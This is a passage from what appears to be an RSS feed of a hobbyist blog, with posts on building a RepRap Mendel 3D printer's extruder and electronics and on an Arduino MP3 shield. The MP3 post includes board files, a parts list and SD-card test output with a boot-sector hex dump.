<div id="attachment_118" class="wp-caption aligncenter" style="width: 210px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5809.jpg"><img class="size-medium wp-image-118" title="Hub Arm - Bad" src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5809-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">Photo 4: A bad print of a 60mm x 10mm x 10mm strut for the Hub-o-matic</p></div>
<p>After the initial prints I built up a second heater barrel using the same type of thermistor and confirmed the temperature behaviour and performance to be the same.</p>
<p>The new extruder driver certainly has plenty of torque and I feel it could almost push through the filament cold.  I must admit I had my doubts about the design when I first looked at it and printed out all the parts.  There didn&#8217;t seem to be enough parts to hold all the bearings in place, and the 55 tooth gear seemed a little loose and unconstrained in its positioning.  After building it and threading the filament through I am impressed.  The<a href="http://shop.conrad-uk.com/hobbies/modelling/model-engineering-drives/clutches-gp-car-models/model-car-clutches/226513.html"> brass insert from Conrad Electronics</a> really does grip the filament well and the gears mesh beautifully. It is also worth noting that I initially overlooked the last instruction in the build, to <span style="text-decoration: underline;">use some silicone grease on the gears</span>, but it does make a dramatic improvement in the gears ability to mesh nicely, smoothly and <span style="text-decoration: underline;">quietly</span>.</p>
<p>I did deviate from Adrian&#8217;s design slightly.  As my motors have a 2mm Ø cross drilling on the end of the shaft, instead of filing the end of the motor shaft flat, I drilled a 2mm Ø hole through my drive gear and used a spring tension pin to retain it.  I&#8217;ve also made one other change to Adrian&#8217;s design.  I can&#8217;t stand using glue or epoxy for something like this so I retain my PTFE thermal barrier using two M3x20 screws through the base and thermal barrier (perpendicular to the direction of the filament and heater barrel).  This allows me to swap out extruder barrels quickly without cutting any tape when they give trouble or become blocked.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=121</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Building a new extruder driver.</title>
		<link>http://www.brokentoaster.com/blog/?p=107</link>
		<comments>http://www.brokentoaster.com/blog/?p=107#comments</comments>
		<pubDate>Mon, 03 May 2010 19:48:43 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=107</guid>
		<description><![CDATA[While I am reasonably happy with my initial prints I have decided to build Adrians geared extruder driver to improve the consistency of the extrusion. The three photos show my new extruder driver.  Although the printed parts look good enough to work in this situation a close inspection of the print show the extrusion tends [...]]]></description>
				<content:encoded><![CDATA[<p>While I am reasonably happy with my initial prints I have decided to build <a title="Adrian's geared extruder driver" href="http://objects.reprap.org/wiki/Geared_Nema17_Extruder_Driver">Adrians geared extruder driver</a> to improve the consistency of the extrusion.</p>
<p>The three photos show my new extruder driver.  Although the printed parts look good enough to work in this situation a close inspection of the print show the extrusion tends to &#8220;bead&#8221; a little and on some prints just stop altogether.  I&#8217;m hoping a driver with more &#8220;torque&#8221; will improve this as well as better spool management.  I&#8217;m also building a new extruder head as well to improve the temperature stability.</p>
<p><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5033.jpg"><img class="aligncenter size-medium wp-image-106" title="IMG_5033" src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5033-300x200.jpg" alt="" width="300" height="200" /></a><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5031.jpg"><img class="aligncenter size-medium wp-image-105" title="IMG_5031" src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5031-300x200.jpg" alt="" width="300" height="200" /></a><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5026.jpg"><img class="aligncenter size-medium wp-image-103" title="IMG_5026" src="http://www.brokentoaster.com/blog/wp-content/uploads/2010/05/IMG_5026-300x200.jpg" alt="" width="300" height="200" /></a></p>
<p>If anyone has other ideas on how to better improve the print quality of my reprap I&#8217;d love to hear about them.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=107</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Back in the UK</title>
		<link>http://www.brokentoaster.com/blog/?p=93</link>
		<comments>http://www.brokentoaster.com/blog/?p=93#comments</comments>
		<pubDate>Sat, 24 Apr 2010 11:49:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=93</guid>
		<description><![CDATA[Just got back to the UK after a volcano related extension to my holiday in NZ. I&#8217;ve also fixed the EAGLE files link for the Arduino MP3 player shield mentioned in this earlier blog post]]></description>
				<content:encoded><![CDATA[<p>Just got back to the UK after a volcano related extension to my holiday in NZ. I&#8217;ve also fixed the EAGLE files link for the Arduino MP3 player shield  mentioned in t<a href="http://stuffthingsandjunk.blogspot.com/2010/02/arduino-mp3-rev-b-v00.html">his earlier blog post</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=93</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>reprap first print! &#8211; video</title>
		<link>http://www.brokentoaster.com/blog/?p=92</link>
		<comments>http://www.brokentoaster.com/blog/?p=92#comments</comments>
		<pubDate>Tue, 30 Mar 2010 18:50:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=92</guid>
		<description><![CDATA[]]></description>
				<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="295" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/m7bduDes_Ks&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="295" src="http://www.youtube.com/v/m7bduDes_Ks&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=92</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reprap first print!</title>
		<link>http://www.brokentoaster.com/blog/?p=91</link>
		<comments>http://www.brokentoaster.com/blog/?p=91#comments</comments>
		<pubDate>Sat, 27 Mar 2010 19:47:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=91</guid>
		<description><![CDATA[After four months of soldering and mucking about with screws and metal things I finally have a working 3D printer. This was built using Makerbot electronics and aluminium versions of the printed parts. I will publish the drawings of the machined parts as soon as I have 1) tidied them up, 2) fixed the mistakes [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/nicklott/4467749394/" title="Mendel lives by Brokentoaster, on Flickr"><img src="http://farm3.static.flickr.com/2622/4467749394_b320d28230_m.jpg" width="240" height="177" alt="Mendel lives" /></a><a href="http://www.flickr.com/photos/nicklott/4466974157/" title="Reprap Steper motor driver by Brokentoaster, on Flickr"><img src="http://farm3.static.flickr.com/2486/4466974157_75eab33ecf_m.jpg" width="240" height="180" alt="Reprap Steper motor driver" /></a></p>
<p>After four months of soldering and mucking about with screws and metal things I finally have a working 3D printer. </p>
<p>This was built using <a href="http://makerbot.com">Makerbot</a> electronics and aluminium versions of the printed parts. I will publish the drawings of the machined parts as soon as I have 1) tidied them up, 2) fixed the mistakes I put on them and 3) confirmed the design actually works. I made a few changes from the designs released in November in order to make them machine-able, but for the most part they are true to the original designs and taken from the STEP files or the STL files converted back into CAD files.</p>
<p>I&#8217;ve deliberately mounted the electronics in an open fashion on standoffs on an aluminium base plate to facilitate testing as I plan to improve and refine  the design.  I&#8217;d like to improve the electronics, PCB design and location of boards with an eye towards EMC and proper shielding, but for moment they are open to allow scope and multimeter access. I hope to tidy up all the cables into tidy looms and things a bit once I&#8217;m happier with the performance and reliability. I had an opto-interrupter board fail on me which resulted in a couple of crashes so I&#8217;ve temporarily replaced them with some very cheap push buttons. Probably a short circuit on the veroboard versions I built up, that&#8217;ll teach me for being too cheap to pay $1 for a decent PCB.</p>
<p><a href="http://www.flickr.com/photos/nicklott/4467753016/" title="Repraped Lego brick by Brokentoaster, on Flickr"><img src="http://farm5.static.flickr.com/4008/4467753016_4f925bfb7b_m.jpg" width="180" height="240" alt="Repraped Lego brick" /></a> <a href="http://www.flickr.com/photos/nicklott/4467754960/" title="gear, brick and gear by Brokentoaster, on Flickr"><img src="http://farm5.static.flickr.com/4017/4467754960_c7dce6aaf4_m.jpg" width="240" height="160" alt="gear, brick and gear" /></a></p>
<p>I am reasonably happy with these prints as a first attempt. I think I really need to tweak the settings and the operation of the extruder to get things working better. (The part designs are from <a href="http://www.thingiverse.com/thing:1336">Thingiverse parametric spur gears</a>, <a href="http://www.thingiverse.com/thing:591">Thingiverse parametric Lego block</a>)</p>
<p>I&#8217;m quite glad to notice the latest version of host software is functioning on OS X, it saves me having to boot up windows every time I want to print. I say functioning and not working as it doesn&#8217;t quite fit all the controls on the screen nicely and does odd things every now and then. But it is better than it was a couple of months ago and so it is looking good for the future.</p>
<p>Sadly I&#8217;m off home to NZ for a few weeks so wont get a decent chance to to get it all going properly till the end of the month. On the other hand the software may have moved forward another step by then as well and I might even take the time to read the instructions.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=91</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Arduino MP3 Rev B v0.0</title>
		<link>http://www.brokentoaster.com/blog/?p=90</link>
		<comments>http://www.brokentoaster.com/blog/?p=90#comments</comments>
		<pubDate>Mon, 15 Feb 2010 22:31:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[arduino]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[pcbs]]></category>
		<category><![CDATA[shield]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=90</guid>
		<description><![CDATA[Last week I managed to have some luck with my Arduino MP3 shield. The big hold up was caused by not having enough power from the FT232RL chip to supply the decoder and the memory card at the same time (50mA max d-oh). I also had a software issue, I had not altered the code [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/images/ardmp3reva.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; height: 150px;" src="http://www.brokentoaster.com/images/ardmp3reva.jpg" border="0" alt="" /></a></p>
<p>Last week I managed to have some luck with my Arduino MP3 shield. The big hold up was caused by not having enough power from the FT232RL chip to supply the decoder and the memory card at the same time (50mA max d-oh). I also had a software issue, I had not altered the code to deal with the 16Mhz clock speed of the arduino from the 8Mhz I was using on the ButterflyMP3 project. The SPI clock was running at 8Mhz where it needed to be slower than 6MHz (to comply with the VS1011E datasheet). Once I had that sorted everything just popped into place and started working reliably. </p>
<p>I apologise in advance for the poor integration of the library examples. I have simply and quite roughly ported the minimal parts of my buterflymp3 project over to the arduino and this hardware. The examples will test reading FAT16 file system on the MMC/SD card, test the VS1011E decoder chip, and play the first mp3 file found on the memory card. I hope to get these tidied up later but have not had any time to do so lately.</p>
<p>The PCB has not actually been tested yet so I&#8217;d hold off building a million of these until after a successful test. There is unlikely to be much wrong with it though as I have simply added a voltage regulator and re routed a couple of signals to fix my earlier mistakes.  ( I&#8217;d forgotten that I/O lines 0 and 1 are used by the uart on the arduino)</p>
<p> I have embedded the BOM below. ( The bom is <a href="http://spreadsheets.google.com/pub?key=tFEBvN-LjONcA9UQbGKo7sw&#038;output=html">here</a> if you don&#8217;t see it below)<br /><iframe width='500' height='300' frameborder='0' src='http://spreadsheets.google.com/pub?key=tFEBvN-LjONcA9UQbGKo7sw&#038;output=html&#038;widget=true'></iframe></p>
<p>Here are all the files so far. These are all released under a Creative Commons 2.5 license .</p>
<p><a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_eagle.zip">EAGLE files are here</a></p>
<p><a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_gerbers.zip">GERBER files are here</a></p>
<p><a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_library.zip">Arduino Library files are here</a></p>
<p><a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_schem.pdf">PDF of the schematic is here</a></p>
<p>To use the library simply put the &#8220;mp3&#8243; folder from the zip file inside the &#8220;libraries&#8221; folder in your arduino folder (create one if it doesn&#8217;t exist). Restart Arduino 018 or later and you should have &#8220;mp3&#8243; entries in the menus under examples and import libraries.</p>
<p>The BOM references a 2.8V LDO voltage regulator but the schematic shows a 3.3V. Either will work fine but the 2.8 will give you slightly lower power usage.</p>
<p>If you are interested in PCBs or kits, drop me a line at <i><b>buy_pcbs@brokentoaster.com</b></i> <br />As always any comments, suggestions or ideas are welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=90</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Reprap extruder heater</title>
		<link>http://www.brokentoaster.com/blog/?p=89</link>
		<comments>http://www.brokentoaster.com/blog/?p=89#comments</comments>
		<pubDate>Wed, 20 Jan 2010 17:51:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=89</guid>
		<description><![CDATA[My cheap polymide tape arrived from Hong-Kong yesterday so I was able to get the heater built on the extruder for the reprap. No problems with the construction of the heater itself, although after running some tests I discovered the thermistor I had chosen is only rated to 155 degreees Celcius. I obviously wasn&#8217;t looking [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/extruder-heater.jpg"><img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; height: 150px;" src="http://brokentoaster.com/mendel/extruder-heater_TN.JPG" border="0" alt="" /></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/extruder-heater-closeup.jpg"><img style="display:block; margin:0px auto 10px; text-align:left;cursor:pointer; cursor:hand;height: 150px;" src="http://brokentoaster.com/mendel/extruder-heater-closeup_TN.JPG" border="0" alt="" /></a></p>
<p>My cheap polymide tape arrived from Hong-Kong yesterday so I was able to get the heater built on the extruder for the reprap.  No problems with the construction of the heater itself, although after running some tests I discovered the thermistor I had chosen  is only rated to 155 degreees Celcius. I obviously wasn&#8217;t looking very hard when I ordered it or perhaps it was just the fact that it was one tenth the cost of a more suitable device that convinced me to buy it. I should have a new thermistor in this week and replace this one.</p>
<p>Before going too far with my heater I wanted to test the system and check that the temperature measured was accurate. I ran three sets of tests. Using the <a href="http://www.brokentoaster.com/butterflylogger/">Butterfly Logger</a> with some DS18B20&#8242;s and a SHT71 I logged the temperature of the barrel at the edge of the extruder (see close up above). The SHT-71 was used to monitor the extruder temperature with the DS18B20&#8242;s monitoring ambient. The first test was logged at 10 second intervals with the later two logged each second. </p>
<p><b>TEST 1</b><br />The first test was a 0.2 deg C/s ramp from near ambient up to 75 deg C and then a step change to 100 deg C and then passive cooling. This is shown in the plot below. The period of 10 seconds seemed too slow to give me a good idea of the stability so n the following tests it was decreased to 1 second. This did show rough correlation between the set temperatures and the measured temperatures although not really as accurate as I had hoped.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/heatertest1.txt.png"><img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; width: 400px;" src="http://brokentoaster.com/mendel/heatertest1.txt.png" border="0" alt="" /></a></p>
<p><b>TEST 2</b><br />This test was a controlled ramp of 0.2 deg C/s from near ambient up to 100 deg C. After holding at 100 deg C the system is passively cooled to 50 deg C. The system holds at 50 deg C momentarily before being given a step change to 100 deg C, after which the system is allowed to cool to ambient.<br /> The better time resolution allows the system stability to be better assessed. The system looks reasonably stable at the 100 deg hold mark. Here it is cycling around 5 deg around  the set point. The &#8216;stable&#8217; temperature is slowly rising which I attribute to the thermal mass of the barrel and thermal barrier warming up. It is not 100 deg C as it is not measuring at the same point where the control thermistor is measuring.  Looking at this initially lead me to check the characteristics of the thermistor I was using and is what lead me to discover that it was only rated at 155 deg C. In checking the data sheet I also noticed a diference in the Beta value fromt he look up table used in the extruder firmware. I recalculated the look up table accordingly and repeated the tests in test 3.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/heatertest2.txt.png"><img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; width: 400px;" src="http://brokentoaster.com/mendel/heatertest2.txt.png" border="0" alt="" /></a></p>
<p><b>TEST 3</b><br />This was a repeat of the previous tests with the new lookup table ( Beta = 4400).  This seemed to give a ramp rate twice of what was programmed (0.45 deg C/s compared to 0.2 deg C/s). The temperatures seemed hotter which is expected given the change in thermistor table for the control firmware. <br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/heatertest3.txt.png"><img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; width: 400px;" src="http://brokentoaster.com/mendel/heatertest3.txt.png" border="0" alt="" /></a></p>
<p>The next test will of course be to see how the system performs when loaded i.e. extruding some plastic.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=89</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Reprap Electronics build</title>
		<link>http://www.brokentoaster.com/blog/?p=88</link>
		<comments>http://www.brokentoaster.com/blog/?p=88#comments</comments>
		<pubDate>Sun, 17 Jan 2010 21:02:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[mendel]]></category>
		<category><![CDATA[reprap]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=88</guid>
		<description><![CDATA[I ran out of time this weekend to get anything done on the MP3 shield or the MLMC projects. I did however manage to find time to solder up the electronics for my reprap I&#8217;m building. After a couple of hitches I also got the firmware on and up and running.I had to download the [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/elec_test.jpg" class="broken_link"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;height: 150px;" src="http://brokentoaster.com/mendel/elec_test.jpg" border="0" alt="" /></a></p>
<p>I ran out of time this weekend to get anything done on the MP3 shield or the MLMC projects. I did however manage to find time to solder up the electronics for my reprap I&#8217;m building. After a couple of hitches I also got the firmware on and up and running.I had to download the latest from SVN else I got a clash between the stepper-motor drivers and the servo motor drivers in the firmware for the extruder.</p>
<p>I built the mother board to use a standard PC power connector even though I&#8217;m building a reprap. It just seemed silly to power this PCB via USB and then rig the power-supply to power all the other boards. I temporarily used the USB 5V to power the PCB via a pin on the JTAG connector during programming the firmware. Before the firmware on the mother board was programmed the PC PSU wouldn&#8217;t fire up so I needed a temporary power supply.</p>
<p>I managed to test the extruder board with some test software I found at <a href="http://objects.reprap.org/wiki/Microcontroller_Firmware_Hints#Driving_Steppers_with_the_Extruder_Controller_V2.2_.28Arduino_inside....29">http://objects.reprap.org/wiki/Microcontroller_Firmware_Hints#Driving_Steppers_with_the_Extruder_Controller_V2.2_.28Arduino_inside&#8230;.29</a>. But I haven&#8217;t managed to get it working through the mendel firmware via the host software yet. The thermistor was working so I know the RS485 link is functioning properly. Probably just a configuration.h option I&#8217;ve over looked.</p>
<p>It took a couple of hours to get the three boards all soldered up and tested. I&#8217;ll post more when I have more done. I&#8217;ll probably be focusing on the mechanical side of building the Cartesian robot for now so not much electronics left to do, although I still have the firmware to sort through&#8230;</p>
<p><i>[EDIT] It turns out that  I had overlooked the I2C connection between the motherboard and the extruder board. I should really have read the instruction.</i></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=88</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New PCBs in from BatchPCB</title>
		<link>http://www.brokentoaster.com/blog/?p=87</link>
		<comments>http://www.brokentoaster.com/blog/?p=87#comments</comments>
		<pubDate>Tue, 05 Jan 2010 20:12:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[arduino]]></category>
		<category><![CDATA[mp3]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=87</guid>
		<description><![CDATA[My order of PCBs from BatchPCB arrived the week before Christmas so plenty of soldering and things to keep me busy over the holiday. I&#8217;ve also been distracted of late with building a reprap, although I&#8217;ve not got much further than amassing a number of PCBs, components and motors, watch this space for details as [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.brokentoaster.com/images/ardmp3reva.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img style="display: block; margin: 0px auto 10px; text-align: center; cursor: hand; height: 150px;" src="http://www.brokentoaster.com/images/ardmp3reva.jpg" border="0" alt="" /></a><br />
My order of PCBs from BatchPCB arrived the week before Christmas so plenty of soldering and things to keep me busy over the holiday. I&#8217;ve also been distracted of late with building a <a href="http://www.reprap.org">reprap</a>, although I&#8217;ve not got much further than amassing a number of PCBs, components and motors, watch this space for details as the build progresses.</p>
<p>My Batch PCB contained a new version of the Arduino MP3 board with provision for running from the 5V Duemilanove Arduino and a number of MLMC boards so I can string them together for testing. Unfortunately the ArduinoMP3 PCB  had a couple of design errors, which is typical when your working on a design off and on over a course of months. The design will probably be released soon, but the libraries and demo code are also proving slightly more difficult.</p>
<p><strong>Some changes to Hardware.</strong><br />
The basic design of the board is the same, VS1011 and SD card shared on the SPI bus with a 5 way Joystick on some digital lines.</p>
<p>I forgot about the TX/RX lines being shared with digital 0 and 1 on the arduino so I&#8217;ve had to re-route signals using those pins to the previously unused analog/general IO pins.</p>
<p>A couple of changes related to running the circuits on a 5V / 3V3 system. My Butterfly MP3 system that I based this on was powered from a single supply rail of 2.8V. The FTDI USB  chip on the arduino was originally used to provide a 3V3 supply to the shield. I thought the 50 mA stated in the data sheet would be enough as my butterfly mp3 system only used about 50mA including processor and display. Unfortunately the is a large current draw when an SD Card is inserted causing the FTDI chip to reset and breaking connection with the PC. Although not a big problem I decided to add an LP2981 LDO regulator to supply a 100mA   for the card and MP3 player circuits. If you don&#8217;t want to use this then you can not fit the parts and easily bypass with a jumper wire.</p>
<p><strong>C++ing the libraries</strong><br />
I was hoping to use the existing libraries for the Arduino and SD cards to access the MMC/SD Cards and provide demo code to show using the shield. For an as yet unknown reason the existing libraries from Adafruit wave shield do not work. In order to test my hardware I have converted my MMC and FAT libraries from the ButterflyMP3 project to C++ for use with the Arduino system. I few teething problems and issues as I remember how C++ works and I now have a working SD Card system. Output from my current software is shown below</p>
<p>I&#8217;d like to use the already available libraries as they offer FAT32 and extended features over my bare bones implementation &#8211; so not quite ready to publish any finished code just yet.</p>
<p>Next step is adding the support for the VS1011. Again not quite as smooth as I&#8217;d hopped but moving along with the help of the old <em>intronix logic port</em>. Currently the VS1011 is not setting up correctly. Occasionally it plays OK but mostly nothing or a very slow version of a song, indicating to me the clock registers are not being set correctly.</p>
<p>I think another weekend or so of work and I&#8217;ll be there but if you&#8217;d like a copy of the current PCBs or Arduino files then just drop me an email or leave a comment.</p>
<p><strong>Current Demo Software Terminal Output</strong></p>
<pre>
<div id="_mcePaste">TEST</div>
<div id="_mcePaste">0</div>
<div id="_mcePaste">MMC_RESET returned 0</div>
<div id="_mcePaste">MMC_SEND_STATUS returned 0</div>
<div id="_mcePaste">MMC_SEND_CID returned 0</div>
<div id="_mcePaste">0: FE 02 54 4D 53 44 30 31 47 28 9A CF 7B 33 00 7A ..TMSD01G(...3.z</div>
<div id="_mcePaste">1: 83 08 8E FF FF FF FF FF FF FF FF FF FF FF FF FF ................</div>
<div id="_mcePaste">MMC_SEND_CSD returned 0</div>
<div id="_mcePaste">0: FE 00 2D 00 32 5B 59 83 D6 7E FB FF 80 16 40 00 ..-.2[Y.......@.</div>
<div id="_mcePaste">1: FB 5E C9 FF FF FF FF FF FF FF FF FF FF FF FF FF .^..............</div>
<div id="_mcePaste">MMC_Capacity returned 1037952</div>
<div id="_mcePaste">MMC_Name returned 0 SD01G(</div>
<div id="_mcePaste">MMC_Read returned 0</div>
<div id="_mcePaste">MMC First Sector:</div>
<div id="_mcePaste">0: FA 33 C0 8E D0 BC 00 7C 8B F4 50 07 50 1F FB FC .3........P.P...</div>
<div id="_mcePaste">1: BF 00 06 B9 00 01 F2 A5 EA 1D 06 00 00 BE BE 07 ................</div>
<div id="_mcePaste">2: B3 04 80 3C 80 74 0E 80 3C 00 75 1C 83 C6 10 FE ...&lt;.t..&lt;.u.....</div>
<div id="_mcePaste">3: CB 75 EF CD 18 8B 14 8B 4C 02 8B EE 83 C6 10 FE .u......L.......</div>
<div id="_mcePaste">4: CB 74 1A 80 3C 00 74 F4 BE 8B 06 AC 3C 00 74 0B .t..&lt;.t.....&lt;.t.</div>
<div id="_mcePaste">5: 56 BB 07 00 B4 0E CD 10 5E EB F0 EB FE BF 05 00 V.......^.......</div>
<div id="_mcePaste">6: BB 00 7C B8 01 02 57 CD 13 5F 73 0C 33 C0 CD 13 ......W.._s.3...</div>
<div id="_mcePaste">7: 4F 75 ED BE A3 06 EB D3 BE C2 06 BF FE 7D 81 3D Ou.............=</div>
<div id="_mcePaste">8: 55 AA 75 C7 8B F5 EA 00 7C 00 00 49 6E 76 61 6C U.u........Inval</div>
<div id="_mcePaste">9: 69 64 20 70 61 72 74 69 74 69 6F 6E 20 74 61 62 id partition tab</div>
<div id="_mcePaste">A: 6C 65 00 45 72 72 6F 72 20 6C 6F 61 64 69 6E 67 le.Error loading</div>
<div id="_mcePaste">B: 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65  operating syste</div>
<div id="_mcePaste">C: 6D 00 4D 69 73 73 69 6E 67 20 6F 70 65 72 61 74 m.Missing operat</div>
<div id="_mcePaste">D: 69 6E 67 20 73 79 73 74 65 6D 00 00 00 00 00 00 ing system......</div>
<div id="_mcePaste">E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">11: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">12: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">13: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">14: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">15: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">16: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">17: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">18: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">19: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">1A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">1B: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 ................</div>
<div id="_mcePaste">1C: 37 00 06 03 C3 E6 F3 00 00 00 0D B3 1E 00 00 00 7...............</div>
<div id="_mcePaste">1D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">1E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................</div>
<div id="_mcePaste">1F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U.</div>
<div id="_mcePaste">0</div>
<div id="_mcePaste">SECTORS PER CLUSTOR 20</div>
<div id="_mcePaste">BYTES PERSECTOR 0200</div>
<div id="_mcePaste">FAT Init returned:0</div>
<div id="_mcePaste">SECTORS PER CLUSTOR 20</div>
<div id="_mcePaste">BYTES PERSECTOR 0200</div>
<div id="_mcePaste">FAT boot Sector info</div>
<div id="_mcePaste">FAT begins at sector 244</div>
<div id="_mcePaste">Clusters begin at sector 768</div>
<div id="_mcePaste">Sectors per cluster = 32</div>
<div id="_mcePaste">Root dir starts at sector 736</div>
<div id="_mcePaste">THESTR~1.MP3 00045 037A00 2E0F</div>
<div id="_mcePaste">THESTR~2.MP3 00124 03400 2E1A</div>
<div id="_mcePaste">THESTR~3.MP3 001F5 025C00 2E24</div>
<div id="_mcePaste">THESTR~4.MP3 0028C 030400 2E2E</div>
<div id="_mcePaste">TWINSE~1.MP3 0034D 051B249 2E39</div>
<div id="_mcePaste">THEWHI~1.MP3 00494 03867AF 2E45</div>
<div id="_mcePaste">THESTR~5.MP3 0057B 02FE00 2E51</div>
<div id="_mcePaste">THESTR~6.MP3 0063B 032B00 2E5C</div>
<div id="_mcePaste">THESTR~7.MP3 0079 034D00 2E68</div>
